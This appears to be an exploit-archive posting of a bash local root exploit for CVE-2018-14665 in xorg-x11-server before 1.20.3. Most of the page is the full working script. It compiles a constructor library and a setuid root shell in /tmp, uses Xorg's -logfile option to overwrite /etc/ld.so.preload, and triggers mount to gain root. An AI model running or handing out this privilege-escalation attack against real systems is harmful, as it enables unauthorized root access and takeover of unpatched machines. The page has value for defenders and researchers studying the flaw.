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xorg-x11-server Local Root

xorg-x11-server Local Root
Posted Oct 25, 2018
Authored by infodox

xorg-x11-server versions prior to 1.20.3 local root exploit.

tags | exploit, local, root
advisories | CVE-2018-14665
MD5 | 0cfe0a9fcf4939ea10fe0f53904f85b6

xorg-x11-server Local Root

Change Mirror Download
#!/bin/bash
# x0rg - Xorg Local Root Exploit
# Released under the Snitches Get Stitches Public Licence.
# props to prdelka / fantastic for the shadow vector.
# Gr33tz to everyone in #lizardhq and elsewhere <3
# ~infodox (25/10/2018)
# FREE LAURI LOVE!
echo "x0rg"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Hack the planet!"
cd /etc; Xorg -fp "/tmp/libhax.so" -logfile ld.so.preload :1;
mount # arbritary setuid we run to pop root
echo "[+] Tidy up a bit..."
rm -f /tmp/libhax.so
echo "[<3] :PPpPpPpOpr000000t!"
/tmp/rootshell

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